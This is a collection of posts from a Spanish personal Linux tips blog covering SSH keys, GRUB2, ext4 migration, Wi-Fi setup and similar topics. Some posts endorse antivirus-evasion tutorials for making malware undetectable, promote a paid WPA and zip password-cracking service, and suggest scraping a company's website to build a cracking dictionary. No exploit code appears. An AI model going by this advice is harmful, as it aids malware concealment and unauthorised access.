Hoy voy a explicar como autenticarse mediante el uso de claves públicas de SSH, esto nos permitirá conectarnos a nuestro servidor sin tener que teclear nuestra password.

Modificamos el fichero de configuración del servidor:

vi /etc/ssh/sshd_config
Protocol 2
RSAAuthentication yes
AuthorizedKeysFile .ssh/authorized_keys

Cada usuario puede generar las claves o lo puede hacer el administrador del servidor:
ssh-keygen -t rsa
Generating public/private rsa key pair.
Enter file in which to save the key (/home/"usuario"/.ssh/id_rsa):
Enter passphrase (empty for no passphrase):
Enter same passphrase again: --> Si se deja en blanco luego será comodisimo
Your identification has been saved in /home/"usuario"/.ssh/id_rsa.
Your public key has been saved in /home/"usuario"/.ssh/id_rsa.pub.
The key fingerprint is:
11:fr:60:f8:a9:42:87:d6:38:c0:a7:22:64:8b:94:cd "usuario"@"host"
The key's randomart image is:
+--[ RSA 2048]----+
| ..o . ... |
| . O o -. |
| .+* o +.+ |
|oo+E. . ... |
|.= .+. S |
|. . |
| |
| |
| |
+-----------------+

/home/"usuario"/.ssh/id_rsa --> Clave privada: Cuidadin
/home/"usuario"/.ssh/id_rsa.pub --> Clave pública

Hacemos llegar nuestra clave pública al servidor SSH:
ssh-copy-id "usuario"@"servidor" --> Pedirá la passphrase y luego la password de "usuario"

Si en el servidor vamos a tener mas usuarios, generamos las claves y cuando nos pregunte:
Enter file in which to save the key (/home/"usuario"/.ssh/id_rsa)
Vamos dandole nombres distintos como id_rsa2,3,4......

Subimos cada una de las claves públicas:
ssh-copy-id "usuario"@"servidor" --> Pedirá la passphrase y luego la password de "usuario"

Aseguramos el servidor:
PasswordAuthentication no
PermitRootLogin no

/etc/init.d/ssh restart

Ya lo tenemos, ahora conectamos con nuestro usuario y por arte de magia accedemos sin necesidad de password ;)

ssh -i .ssh/id_rsa"N" "usuarioN"@"servidor"

LiveCD en USB mas fácil que nunca

2010-04-24T12:48:00.003+02:00

Hace ya tiempo que estoy leyendo en mis ratos libres como lograr instalar una distro LiveCD en mi memoria usb, hay varios métodos, unos mas complicados que otros pero sin duda alguna el mas intuitivo es UNetbootin.
Tan solo hay que bajarse el binario, darle permisos de ejecución y "voila" ya podemos comenzar el proceso de instalación en la memoria USB, soporta un gran número de distros así como otros sistemas operativos basados en UNIX.
Tan solo hay que inidcarle la distro, la imagen de origen y el usb de destino, esto nos generará unos ficheros desde los cuales nuestra BIOS podrá arrancar como si de una partición mas se tratase.

Este programa ha sido probado con BackTrack4, pero supongo que con el resto de distros será igual de fácil.

Formato de video rmvb

2010-04-18T21:24:00.003+02:00

El tema de los formatos de video en Linux ha sido un tema delicado, sobre todo con formatos como Windows Media Video y otros que son cerrados. Esta vez le toca a rmvb, pero la solución es bastante sencilla.

Bajamos los codecs:
wget http://www.mplayerhq.hu/MPlayer/releases/codecs/essential-amd64-20071007.tar.bz2

Descomprimimos los codecs:
bzip2 -dc essential-amd64-20071007.tar.bz2 | tar xv

Copiamos los codecs al directorio correcto:
mkdir /usr/local/lib/codecs/
cp essential-amd64-20071007/* /usr/local/lib/codecs/

Con este procedimiento se logra reproducir este formato usando xine como reproductor, en otros no funciona, mi teoria es que no todos los reproductores buscan los codecs en el mismo directorio, si alguie sabe como hacer que funcione con todos que escriba un comentario por favor.

Conectar a redes WEP y WPA2

2010-03-20T20:12:00.010+01:00

Hola chavales, por fin tengo un poco de tiempo para escribir sobre frikerias varias.
Esta vez voy a explicar un tema que está muy poco claro si se googlea, primero voy a explicar como conectar con una red WEP y luego a una red WPA2 con password compartida.

Para ver las redes a nuestro alcance:
iwlist "interfaz" scan

Para la red WEP es tan sencillo como:
iwconfig wlan0 mode managed
iwconfig wlan0 essid "essid"
iwconfig wlan0 key s:"clave"
dhclient "interfaz"

Con una red WPA2 es un poco mas complicado:
apt-get install wpasupplicant

Editamos el fichero /etc/network/interfaces:
auto wlan0
iface wlan0 inet dhcp
wpa-ap-scan 2
wpa-driver wext
wpa-ssid "ESSID"
wpa-bssid "BSSID"
wpa-psk "PASSWORD"
wpa-key-mgmt WPA-PSK
wpa-group TKIP
wpa-pairwise TKIP
wpa-proto RSN

Toda esta configuración se podría realizar en el fichero /etc/wpa_supplicant/wpa_supplicant.conf pero resulta mas sencillo hacerlo aquí ;)

Reiniciamos la red:
/etc/init.d/network-manager restart
/etc/init.d/networking restart

Ya lo tenemos, espero que sea de ayuda ;)

Cambiar imagen GRUB2

2010-01-30T23:21:00.006+01:00

Ya que me he puesto con el GRUB2 pues voy a explicar tambien como cambiar la imagen de fondo.
Elegimos la imagen deseada y la guardamos con el tamaño: 640x480 con extensión .tga

Ahora copiamos la imagen original por si algo saliese mal:
mv /boot/grub/moreblue-orbit-grub.png /boot/grub/moreblue-orbit-grub.png.ori

Enlazamos la imagen original con la nuestra:
ln -s /boot/grub/"imagen".tga /boot/grub/moreblue-orbit-grub.tga

Actualizamos la configuración:
update-grub

Creo que es la forma mas fácil de hacerlo, la imagen que yo tengo es la de arriba, jejeje.

Migrar de Ext3 a Ext4 sin pérdida de datos.

2010-01-30T21:10:00.004+01:00

Ya hace algún tiempo que el kernel de linux soporta el sistema de ficheros Extendida 4, son muchas las ventajas que presenta y por eso voy a migrar a dicho sistema de ficheros.

Lo primero será migrar de GRUB a GRUB2, este último soporta arrancar particiones en Ext4, a mi parecer la configuración de GRUB2 es un poco enrevesada comparandola con GRUB que solo tenía un ficherillo.

Tambien tendremos que comprobar que nuestro kernel tiene soporte para el sistema de ficheros Ext4.

Entramos en la sección File System y habilitamos:
The extended 4 (ext4) filesystem
Ext4 POSIX Acces Control Lists
Ext4 Security Labels

Guardamos y compilamos.

Ahora debemos arrancar la máquina con una LiveCD para poder realizar la conversión de Ext3 a Ext4, yo lo hago desde un cd instalación de Gentoo (recordando viejos tiempos).
Recordad que si queremos hacer modificar ficheros de una partición de un sistema de 64 bits la LiveCD debe de ser de 64 bits tambien.

Montamos la partición raiz en /mnt/raiz:
mkdir /mnt/raiz
mount /dev/sda1 /mnt/raiz
chroot /mnt/raiz
bash

Ahora modificamos el fichero fstab para que nos monte las particiones como Ext4:
vi /etc/fstab
Buscamos la columna que pone type y cambiamos ext3 por ext4

Guardamos:
:wq

exit
exit
umount /mnt/raiz

Procedemos con la conversión:
tune2fs -O extents,uninit_bg,flex_bg,dir_index /dev/"partición"
fsck -pf /dev/tusistemadearchivos

Si salen errores es normal, no hay porque preocuparse.

Reiniciamos y ya tendremos nuestro sistema de ficheros en Ext4 ;)

Pasar de GRUB a GRUB2

2010-01-30T20:50:00.015+01:00

Tener GRUB2 instalado nos puede reportar una serie de ventajas desde menus gráficos mas atractivos hasta la posibilidad de arrancar particiones en Ext4.

Instalamos GRUB2:
apt-get install grub-pc

Nos mostrará un aviso de que se conserva el GRUB anterior y se concatena la configuración de GRUB2, si tras reiniciar todo funciona correctamente eligiendo un kernel del menu de GRUB2 podemos ejecutar el comando: upgrade-from-grub-legacy para terminar la migración.

Cuando pregunte: Desea realizar la carga en cadena desde menu.lst? respondemos que sí.
Cuando pregunte por parámetros simplemente le damos a enter.

Ahora vamos a editar el fichero de configuración con el que añadiremos nuevos kernels en el menú de arranque.
En el directorio /etc/grub.d/ podemos observar los ficheros existentes, cada fichero se encarga de una tarea, es algo parecido a los rulevels en /etc/rcX.d/, según la numeración el fichero se leerá antes o después.

Yo tengo el fstab configurado por particiones, no por el identificativo de las particiones, así que se lo indicaremos al GRUB2 editando un parámetro del fichero /etc/default/grub:
GRUB_DISABLE_LINUX_UUID=true

Creamos el fichero 09_Kernel con el contenido:

NOTA: Las particiones pueden cambiar de un sistema a otro.

Ahora hacemos ejecutable este fichero:
chmod +x 09_Kernel

Actualizamos las entradas de GRUB2 (como se hacia antiguamente con LILO):
update-grub

Nos apareceran una serie de mensajes según vaya leyendo los ficheros de /etc/grub.d/, cuando llegue al nuestro debería de aparecer "Anadiendo kernels propios", se pueden poner mas entradas simplemente añadiendo menuentrys.

Ya estamos listos, reiniciamos y a disfrutar del GRUB2.

Drivers VMware

2010-01-30T20:20:00.002+01:00

Cuando arrancamos una máquina virtual Linux en VMware solemos dejar el kernel que viene por defecto ya que suelen venir los drivers de la máquina virtual compilados en el kernel.

En ciertas ocasiones es necesario recompilar y para que todo funcione correctamente se debe de conocer el hardware de la máquina virtual, en este articulo voy a poner las opciones básicas para que la máquina pueda arrancar.

Entramos en la sección Device drivers y marcamos:

- ATA/ATAPI/MFM/RLL support
generic ATA/ATAPI disk support
ATA disk support
Include IDE/ATAPI CDROM support
Intel PIIX/ICH chipsets support

- SCSI device support
SCSI device support
SCSI disk support

- Fusion MPT device support
Fusion MPT ScsiHost drivers for SPI

- Network device support
Ethernet (1000 Mbit)
Intel(R) PRO/1000 Gigabit Ethernet support

Con estas opciones ya funcionará el disco duro tanto IDE como SCSI, el cdrom y la tarjeta de red.

Voy a dejar un fichero de configuración del kernel con el que solo tendremos lo básico, no tendrá sonido ni soporte para AGP ni ningún tipo de floritura.

Etiquetas en las entradas de Blogger

2010-01-19T17:23:00.010+01:00

En este artículo voy a explicar como añadir etiquetas a las entradas de nuestro blog, esto nos permitirá poder realizar búsquedas a partir de estas etiquetas.
Aprovechando esta característica vamos a poder crear categorias de clasificiación.

Lo primero será acceder a la sección diseño:

Añadimos un gadget.
Lista de enlaces.

Completamos los campos así:

Titulo: Categorias.
URL del sitio web nueva: http://laguaridadelmal.blogspot.com/search?label="Nombre de la categoria"
Nombre del sitio web nuevo: "Nombre de la categoria"

Luego a la hora de editar nuestros articulos tendremos que añadir etiquetas en el campo Etiquetas de la entrada.

Con esto las categorias ya estaran listas y podremos acceder a los articulos de cada categoría por el menú de la lista de enlaces.

Correo Gmail por Telnet

2010-01-17T23:56:00.005+01:00

Siempre me ha gustado cacharrear con los servidores SMTP desde Telnet, si disponemos de una cuenta en Gmail esta es la forma de hacerlo.
El primer problema que nos encontramos es que un cliente telnet corriente y moliente no soporta SSL, además el nombre de usuario y el password se deben enviar codificados en base64, pero no os preocupeis porque con la ayuda de un pequeño script de cosecha propia todo será resuelto de forma muy comoda.

Para realizar conversiones a base64 emplearé un script pero esta vez será en Python, la salida del script será emplazada en /tmp/base64

Para resolver el problema de SSL vamos a instalar la aplicación stunnel:
apt-get install stunnel

Ahora creamos el tunel SSL que escuchará en el puerto 25 local:

stunnel -d 25 -cr smtp.gmail.com:465
La -c significa modo cliente y la -r servicio remoto

Ahora basta conectar con nuestro host y seremos redireccionados a smtp.gmail.com:465 pero por el tunel SSL:

telnet localhost 25

El servidor debe de responder tal que así:
Trying 127.0.0.1...
Connected to localhost.
Escape character is '^]'.
220 mx.google.com ESMTP 28sm4369646eye.7

Ahora seremos educados y saludaremos al servidor:

ehlo gmail.com

Nos responderá:
250-mx.google.com at your service, [89.131.206.8]
250-SIZE 35651584
250-8BITMIME
250-AUTH LOGIN PLAIN
250-ENHANCEDSTATUSCODES
250 PIPELINING

Elegimos modo de autentificarnos:

auth login

Responderá:
334 VXNlcm5hbWU6

Ahora debemos indicarle el nombre de usuario en base 64:

python Base64.py

Responderá:
334 UGFzc3dvcmQ6

Ahora debemos indicarle el password en base 64:

python Base64.py

Responderá:
235 2.7.0 Accepted

Indicamos el origen:

mail from:<"Dirección de correo">

Responderá:
250 2.1.0 OK 28sm4369646eye.7

Indicamos el destino:

rcpt to:

Responderá:
250 2.1.5 OK 28sm4369646eye.7

Empezamos con el mensaje:

data

Responderá:
354 Go ahead 28sm4369646eye.7

Indicamos el motivo:

subject: prueba nesima

Escribimos el mensaje:

Mensaje de prueba

Acabamos el mensaje:

. (No es un error es un punto)

Responderá:
250 2.0.0 OK 1263726572 28sm4369646eye.7

Salimos:

quit

Responderá:
221 2.0.0 closing connection 28sm4369646eye.7
Connection closed by foreign host.

Con el Script será mucho mas sencillo, recordad colocar los dos Scripts tanto el de Python como el de Bash en el mismo directorio o no funcionará.

PD: Yo de vosotros le hecharía un ojo a los Scripts ya es necesario meter el password de vuestras cuentas de correo!!!
Para otros servidores de correo se puede modificar de forma fácil el script.

Detectando intrusiones

2010-01-15T22:48:00.004+01:00

Seguro que alguna vez ha ocurrido algo extraño en el sistema, ralentización sin justificación, algún fichero que no estais seguros de haber generado vosotros......
Para estos casos existe la herramienta whowatch, esta nos permite observar a los usuarios logados en nuestro equipo en ese momento y seguir el rastro de forma muy cómoda de los procesos que tiene arrancados cada usuario. Estos procesos son mostrados en forma de arbol muy visual ;)

Como siempre para instalar whowatch basta con:
apt-get install whowatch

Probadlo y ya me contareis.

Optimizar bateria portatil en Linux

2010-01-14T23:31:00.006+01:00

Hola fieles seguidores de la verdadera fe, vamos a aprender unos cuantos truquillos que nos permitiran estirar un poco mas la duración de la bateria de nuestro portatil.

Los pasos que seguiremos seran los siguientes:

Ajustart la frecuencia de reloj de nuestro microprocesador al mínimo.

Deshabilitar el bluetooth: hciconfig hci0 down

Deshabilitar la tarjeta inalambrica: rmmod ath9k

Deshailitar la tarjeta de red: rmmod forcedeth

Modificar el archivo /etc/fstab para que nos monte las particiones de tal forma que no guarde los datos del último acceso a los ficheros: mount -o remount,noatime /

Optimizar los buffers de escritura al disco teniendo en cuenta que se trata de un portatil(esperará a tener mas datos pendientes para realizar el acceso al HD): echo 5 > /proc/sys/vm/laptop_mode

Syslog usa sync despues de cada evento para que se escriva ya!! la info al HD, se puede evitar esto y dejar que se encargue la opción anterior cuando crea que es necesario editando /etc/syslog.conf. Buscamos la línea: *.info;mail.none;authpriv.none;cron.none /var/log/messages Dejandola así: *.info;mail.none;authpriv.none;cron.none -/var/log/messages

Deshabilitar el montaje automatico del cd: hal-disable-polling --device /dev/scd0

Deshabilitar Wake Up On Lan desde la BIOS.

Bajar el brillo del monitor.

Quitar la retroiluminación del teclado.

Gran parte de esta información ha sido extraida de la web: http://www.lesswatts.org/index.php

Dejo un script que nos deshabilitará el Bluetooth la wireless y la tarjeta de red, nos ajustará los parametros del Disco Duro y nos deshabilitará el automontado del DVD.

NOTA:

Para habilitar el montaje automático del cd:
hal-disable-polling --device /dev/scd0 --enable-polling

Finalmente comentar que he pasado de 1h 50min de autonomía a 2h 40min simplemente ajustando la velocidad del micro a 1.6GHz, ejecutando el script, editando el archivo fstab y reduciendo un poco el brillo del monitor, supongo que si modificase ademas el syslog aumentaría un poco mas.

Avatar creada con más de 4.000 servidores Linux

2010-01-09T17:54:00.003+01:00

Avatar fué creada en gran parte en los estudios neozelandeses de Weta Digital, que con su datacenter de más de 4300 servidores HP Proliant BL2×220c G5 contribuyó a producir los impresionantes efectos y secuencias visuales generados por computadoras del film.

En total sumaron 40.000 procesadores con 104 Terabytes de RAM funcionando 24 hrs. al día, procesando de 7 a 8 Gigabytes de datos por segundo y produciendo 17,8 Gb por cada minuto de la película. Todo en un clúster Linux que actualmente ocpupa el puesto 193 del ránking de las 500 supercomputadoras más rápidas del mundo y para el que se tuvo que construir un sistema de refrigeración con agua, ya que los sistemas convencionales de pisos elevados y refrigeración por aire no pudieron controlar el calor que producía.

Saltarse el antivirus por la patilla.

2010-01-09T17:41:00.004+01:00

Buenas fieles lectores, en esta ocasión voy a dejar dos manuales que haran las delicias de mas de uno, son dos tutoriales de como emplear varias herramientas para localizar las firmas que buscan los antivirus y luego moverlas de sitio para que nuestras criaturas sean indetectables.

Mucho cuidado al usar AVFuck ya que consume muchísimo espacio en disco, de todos modos con AVFuck a veces he tenido problemas, yo personalmente prefiero emplear ZeroSignature aunque sea un proceso mas pesado.

Y sobretodo no hagais el mal que os conozco!!! jejejejeje

Bonito enlace con el que acojonar a la peña

2010-01-05T14:49:00.002+01:00

En esta imagen podemos observar como se lanza un exploit contra nuestra ip pública y como adquieren privilegios de root en nuestro sistema, jajajaja!!!!!!!!
Seguro que mas de uno no sabe seguro si es real o un montaje.

Linux(Android) en consola portátil

2009-12-17T19:02:00.004+01:00

Curiosa noticia, una consola al estilo GP2X. La Odroid lleva en su interior Android(kernel-2.6.27), esta consola está pensada tanto para el usuario normal como para desarroladores, lleva varias herramientas para desarrollo, además las aplicaciones que se desarrollen para esta consola pueden ser portadas a teléfonos moviles.

La consola viene equipada con:

Microprocesador: Samsung Cortex-A8 833 Mhz
RAM: 512 MB DDR2
Ranura SDHC
Pantalla capacitiva resolución de 320x480 píxeles
Salida de vídeo vía HDMI 720p
USB 2.0
Bluetooth
WiFi
Acelerómetro incorporado

Nos podemos hacer con un ejemplar en esta página por tan solo 350 dolares.
En el pack viene incluida una placa de depurado, dos baterias, una tarjeta microSD de 2GB, otra SDHC de 8GB y hasta los esquemas elctrónicos de la consola.

Sacando password red WPA soltando la pasta.

2009-12-17T18:48:00.006+01:00

Si sois usuarios de portátil quizás no os haga gracia el tener el equipo mucho tiempo encendido, pero hay ciertas tareas que requieren invertir tiempo de CPU para llevarlas a cabo.
El crackeo de una clave WPA puede ser una de estas tareas, ahora por un módico precio podemos evitar el chamuscar nuestra CPU.
Se trata de un cluster de varios equipos los cuales suman un total de 400 microprocesdores, todo ello combinado con un super diccionario de 135 millones de palabras. Se puede optar por alquilar el cluster por 34 dolares o solo la mitad de equipos por 17.
Como ya sabemos esto no nos garantiza que la clave esté incluida dentro de este diccionario con lo que cabe la posibilidad de pagar para nada ;(
En fin me pareció interesante comentarlo aquí aunque creo que sería mejor alquilar el cluster por tiempo y poder elegir si se quiere romper la clave por diccionario o por fuerza bruta, jejejeje, o al menos poder elegir los diccionarios a emplear, por temáticas o por idiomas.

Además ofrecen otro servicio de crackeo de zips protegidos por password.

Casi se me olvida, la página es esta.
Hasta la próxima amigos.

Convertir videos para ser visualizados en Nokia 5800

2009-11-14T23:20:00.005+01:00

El Nokia 5800 solo soporta la reproducción de video en mp4 y la gran mayoría de películas que nos bajamos suelen estar en divx o Xvid, por ese motivo es necesaria una conversión(que religioso me ha quedado eso), en fin a lo que ibamos.

Tan solo hay que ejecutar el siguiente comando y esperar a que finalice:
ffmpeg -i "video" -f mp4 -vcodec mpeg4 -b 409000 -r 25 -s 640x360 -acodec libfaac -ar 22050 -ab 32 -ac 2 "salida.mp4"

Por supuesto tendremos que tener ffmpeg y los codecs necesarios instalados en el sistema para llevar a cabo la conversión sin problemas.

Solucionar problemas de codificación.

2009-11-14T12:55:00.003+01:00

El uso de varios sistemas operativos suele acarrear problemas de compatibilidad entre ellos, por ejemplo entre Linux y Windows.
Hay ficheros con nombres que tienen acentos y estos al pasarlos a Linux se traducen en símbolo extraños y muchas veces nos comporta ciertos problemas al tratar de copiarlos.

Para este fin se ideó convmv:
apt-get install convmv

Ahora tan solo hay que ejecutar la siguiente orden:

convmv -f windows-1252 -t utf-8 -r --notest "directorio"

Con esto lo que estamos haciendo es pasar de codificación Windows a UTF-8 de forma recursiva y aplicar los cambios directamente sin test.

Ahora ya podremos copiar los ficheros sin problemas.

Extraer audio de una película con AviDemux y Audacity

2009-11-14T12:39:00.005+01:00

En muchas ocasiones he oído una canción, frase o algo que me ha llamado la atención de una película y que me gustaría tener un mp3 de esa frase, pero no sabía como extraer el audio de una determinada parte del video desde Linux.
Gracias a AviDemux esto ha cambiado, como siempre el primer paso será instalar el software:
apt-get install avidemux

Una vez instalado arrancamos la aplicación y seguimos los siguientes pasos:
Archivo --> Abrir

Nos posicionamos en el momento que queremos empezar a grabar.
Seleccion: comenzar

Nos posicionamos en el momento que queremos acabar de grabar.
Seleccion: end

Guardamos el audio:
Audio --> Guardar

Si la grabación no ha quedado todo lo ajustada que deseamos podemos emplear audacity para recortar con mas precisión.
apt-get install audacity

Este software es muy fácil de usar, con la herramienta de selección podemos recortar el audio en el momento que nos interese, luego lo pegamos en un fichero de audio nuevo:
Archivo --> Nuevo
Pistas --> Añadir Nueva --> Pista estereo

Pegamos y luego Archivo --> Exportar

Lo guardamos como "fichero".mp3

Si el audio está muy bajo podemos subirlo con la utilidad mp3gain.
apt-get install mp3gain

Para aumentar el volumen:
mp3gain -g "factor del 0 al 9"

Con esto ya lo tendríamos todo hecho, fácil y rápido que mas se puede pedir.

Bajarnos una Website con Wget

2009-11-01T20:01:00.002+01:00

Hay ocasiones en las que sabemos que vamos a estar una temporada sin conexión a Internet, porque veraneamos lejos de nuestra casa, vamos a la casita de campo..... Pero para paliar este inconveniente podemos bajarnos las páginas que nos suelen interesar así podremos leerlas donde nos plazca.

Vamos a emplear de forma muy sencilla la herramienta wget para tal fin:

wget --recursive --page-requisites --html-extension --convert-links --domains "dominio" --no-parent "URL"

Por ejemplo para bajarnos la guarida del mal:

wget --recursive --page-requisites --html-extension --convert-links --domains blogspot.com --no-parent http://laguaridadelmal.blogspot.com

Tambien puede sernos útil si nos bajamos la web de alguna empresa que nos interese por el motivo "X" y queramos hacer un diccionario con las palabras de su web ;)

Compilación de Xprobe2

2009-10-31T23:49:00.015+01:00

Xprobe2 es un programita al estilo Ph0f pero este vez se averigua el sistema operativo remoto de forma activa, pero no es tan sencillo como parece.
Para que las fuentes compilen hay que hacer algunas modificaciones en el código fuente.

Podemos bajarnos las fuentes desde aquí.

Editamos los ficheros siguientes:

1 - vi libs-external/USI++/src/ip.cc

Después de la línea 15: #include "config.h"

Añadir:

Salvar y salir.

2 - vi libs-external/USI++/src/misc.cc

Después de la línea 2: #include "usi++/usi-structs.h"

Añadir:

Salvar y salir.

3 - vi libs-external/USI++/usi++/tcp.h

Después de la línea 17: #include "ip.h"

Añadir:

Salvar y salir.

Ahora tan solo queda compilar las fuente:

make clean
./configure
make
make install

Ya lo tenemos, ahora podremos averiguar el sistema operativo remoto con esta magnífica utilidad.

Cambiar nombre USB

2009-10-29T16:15:00.006+01:00

En muchas ocasiones cuando montamos un dispositivo USB aparece en el escritorio una unidad con un nombre horrible, como por ejemplo el número de serie o el nombre del fabricante.

Para cambiarlo tan solo hay que seguir los siguientes pasos.

Lo primero será instalar la utilidad mtools:
apt-get install mtools

Ahora copiamos el fichero de configuración a nuestro directorio home:
cp /etc/mtools.conf /home/"usuario"

Editamos este fichero y en la primera línea añadimos:
mtools_skip_check=1

Ahora ya podemos cambiar el nombre del dispositivo:
mlabel -i /dev/"partición" ::"Nombre_Unidad"

Podemos observar los cambios con la orden:
mlabel -i /dev/"partición" -s ::

Así de sencillo, ya lo veis ;)

Eliminar librerias huerfanas.

2009-10-12T17:18:00.004+02:00

Muchas veces instalamos software solo para probarlo pero mas tarde nos damos cuenta que no es lo que necesitamos y simplemente encontramos una alternativa que se adapta mejor a nuestras necesidades.
Lo normal es desinstalar la aplicacición pero incluso Linux puede dejar basura en el sistema como librerias que ya nadie usa. Por este motivo fué creada la aplicación deborphan.

Para instalarla:
apt-get install deborphan

Para saber que librerias son huerfanas basta con:
deborphan

Esto nos mostrará un listado de todas ellas, para que la cosa sea mas sencilla podemos emplear el siguiente comando para eliminarlas:

apt-get remove $(deborphan)

Tras estos pasos tendremos el sistema con lo justo y necesario ;)

Ip publica desde la línea de comandos

2009-10-11T13:29:00.007+02:00

Siempre es útil conocer nuestra ip pública, hasta la fecha siempre lo había hecho con las páginas web del estilo http://www.whatismyip.com/.

Pero para obtener la ip desde nuestros scripts es mucho mas sencillo ejecutar la siguiente orden:
curl icanhazip.com

Por supuesto tendremos que tener la aplicación curl instalada:
apt-get install curl

Realmente sencillo y útil, espero que le sirva a mas de uno.

Precarga de programas en RAM

2009-10-11T13:15:00.004+02:00

Todo el software ejecutado en una computadora en primera instancia se encuentra en el disco duro, esta información es posteriormente cargada en la RAM y finalmente ejecutada por el microprocesador.
Este proceso se realiza cuando arrancamos la aplicación, pero que ocurriría si aprovechasemos los momentos de inactividad para carga en RAM las aplicaciones que mas solemos utilizar??. Precisamente de eso es de lo que se encarga Preload, realiza una estadística de los programas mas usados y los carga en RAM cuando el equipo no está activo.

Para utilizarlo es tan sencillo como:
apt-get install preload

Existe un fichero de configuración con el que podremos afinar mas la configuración pero para la mayoría de casos la que viene por defecto servirá.

El fichero es el /etc/preload.conf

model.cycle: La frecuencia con la que se revisa el sistema para actualizar la información sobre los programas y librerías que se deben mantener en caché. Su valor por defecto es de 20 segundos.
model.halflife: Periodo a partir del cual comenzarán a considerarse antiguos los datos guardados por preload. Cuando transcurre este periodo sin nuevas actualizaciones en los datos de un programa, su importancia desciende un 50%.
model.minsize: La cantidad mínima de llamadas al sistema que serán necesarias para que preload considere importante a un determinado programa. Un numero pequeño conllevará que se sitúen en caché programas más pequeños, mientras que, si quieres que preload se centre sólo en aplicaciones grandes, debes incrementar este número. El valor por defecto es 2000000 bytes.

Siempre viene bien afinar un poco mas nuestro sistema ;)

Servidor de ficheros por HTTP

2009-10-11T01:06:00.005+02:00

Siempre he estado peleando por querer compartir ficheros desde mi Linux a los sistemas Windows, siempre lo habia solucionado mediante un servidor Samba, pero existe una alternativa realmente rápida y sencilla.
Se trata de montar un servidor HTTP muy simple para realizar la transferencia de ficheros.

Tan solo hay que tener instalado python en nuestro sistema y ejecutar la orden:

python -m SimpleHTTPServer Ahora apuntamos un navegador desde la máquina en la que queremos obtener los ficheros a la siguiente URL:http://direcciónIP:8000

Y ya lo tenemos, sin complicaciones ni dolores de cabeza.

Averiguar drivers a compilar en el Kernel

2009-10-10T16:06:00.004+02:00

Siempre podemos tener problemas a la hora de compilar el kernel, mas que nada porque no sabemos que drivers se deben de habilitar para que todo nuestro hardware funcione correctamente.

Para esta ardua tarea existe una página que nos ayudará en esta tarea.
Pegando la salida del comando lspci -n en la página comentada veremos los drivers que debemos habilitar.

En el menú de configuración (make menuconfig), podemos realizar una búsqueda por el nombre del driver, de esta manera podremos localizar la sección en la que se encuentra el driver.
La forma de buscarlo es / y aparecerá un cuadro de búsqueda.

A los mas novatos en temas de compilación de kernels les será de mucha ayuda o eso espero ;)

Sonido Dell XPS Studio

2009-10-07T18:14:00.011+02:00

Ya expliqué en una ocasión anterior como configurar el sonido para la salida HDMI de este equipo, pero no expliqué cuales eran los drivers a habilitar en el propio kernel.

Entramos al configurador del kernel como siempre:
cd /usr/src/linux
make menuconfig

En las siguientes capturas de pantalla se pueden apreciar las opciones a habilitar:

Así de simple, ahora mismo estoy investigando como compilar un kernel super reducido para poder bootear el portatil con lo mínimo pero con soporte para la Atheros que lleva, de esta forma podría reinstalar mi Debian sin necesidad de conectar el portatil a la red cableada. Ya os contaré como acaba mi investigación ;)

Instalación de OpenBSD

2009-09-26T17:38:00.005+02:00

Hoy vamos a iniciarnos en el maravilloso mundo de las distros basadas en BSD, en esta ocasión nos centraremos en OpenBSD.

Este es el manual de instalación en cuestión:
http://www.divshare.com/download/8656107-9b3

OpenBSD tiene la reputación de ser el sistema operativo mas seguro del mundo.

Para servidores parece ser ideal, mi mayor pregunta es... tendrá tanto software y las ultimas novedades como Linux??

Dejo el debate abierto pero agradecería que no se convirtiese en una guerra de sistemas operativos, tan solo se debería de exponer las virtudes de cada sistema operativo.

Primer programa en Python

2009-09-08T19:15:00.004+02:00

Ya tengo mi primer programa en Python para Symbian, se trata de un cronómetro.
Es muy sencillo y el código seguramente se pueda optimizar pero es mi primer programita y estoy orgulloso de él.

NTFS en Linux

2009-09-08T19:01:00.005+02:00

Tras la adquisición de un disco duro nuevo siempre tenemos varias preguntas a las que enfrentarnos:

Cuantas y de que tamaño hacer las particiones??..
Que sistema de ficheros emplearé en mi disco??..

En mi caso se trata de un disco duro externo por USB así que es de vital importancia que cuando lo lleve a casa de mis amigos(algunos de ellos son Windowseros) funcione sin problemas.

Tras todo este rollo y el título del artículo ya habreis deducido cual es la solución al dilema.

Lo primero que debemos hacer es instalar el driver para NTFS y varias utilidades para la manipulación de particiones en este formato:
apt-get install ntfs-3g ntfsprogs

Ahora faltaría modificar el fichero /etc/fstab para que emplee ntfs-3g para montar las particiones NTFS.

/dev/sdb /mnt/usb ntfs-3g noauto,user 0 0

Como hemos instalado las utilidades ntfsprogs podremos crear las particiones directamente desde Linux, yo en mi caso empleé GParted, es de fácil uso pero si preferis la consola tambien podeis usar fdisk.

Y ya lo tenemos, una partición NTFS montada con permisos de lectura y escritura.

Enviar ficheros por Bluetooth desde consola

2009-08-22T18:04:00.005+02:00

Desde hace poco que tengo mi nuevo teléfono, este admite Symbian y además Python, cada vez que quiero probar un nuevo script debo montar la tarjeta MicroSD con todo el engorro que esto conlleva, pero si empleamos Bluetooth para pasarle nuestros scripts no hará falta.

Los pasos a seguir son

Instalamos el software: apt-get install obexftp
Buscamos el teléfono: hcitool scan
Bajamos un fichero: obexftp -b "MAC" -c "E:\\Python\\" -g "Fichero"
Subimos un fichero: obexftp -b "MAC" -c "E:\\Python\\" -p "Fichero"
Eliminamos un fichero: obexftp -b "MAC" -c "E:\\Python\\" -k "Fichero"
Listamos el contenido de un directorio: obexftp -b "MAC" -c "E:\\Python\\" -l

Con esto ya podriamos probar nuestros scripts de una forma mucho mas cómoda.

Descargas con JDownloader bajo Linux

2009-08-05T18:19:00.004+02:00

Hola amigos, en esta ocasión voy a explicar como instalar el famoso gestor de descargas JDownloader bajo Linux, mas concretamente bajo Debian Lenny 5.0.

Primero nos bajamos el software

http://jdownloader.org/download

Instalamos la máquina virtual de Java:

apt-get install openjdk-6-jre

Disfrutamos de este maravilloso software

chmod +x jd.sh
./jd.sh

No dejo de sorprenderme

2009-08-04T18:08:00.006+02:00

Creia haber visto ya de todo desde que descubrí el juego de aventuras Simauria en texto 100%, pero es que ahora me entero que hay gente que se dedica a hacer "streaming de video" a través de conexiones telnet, si como lo ois.

StarWars Episode IV A New Hope en el terminal

telnet towel.blinkenlights.nl

Aplicaciones nokia 5800 sin firmar

2009-07-24T01:07:00.004+02:00

En esta ocasión os dejo aquí un manual sobre como conseguir instalar aplicaciones sin certificado válido en los nokia 5800, espero que los disfruteis tanto como yo ;)

Este es el enlace al PDF

Controlador SATA Dell XPS Studio

2009-06-28T18:12:00.003+02:00

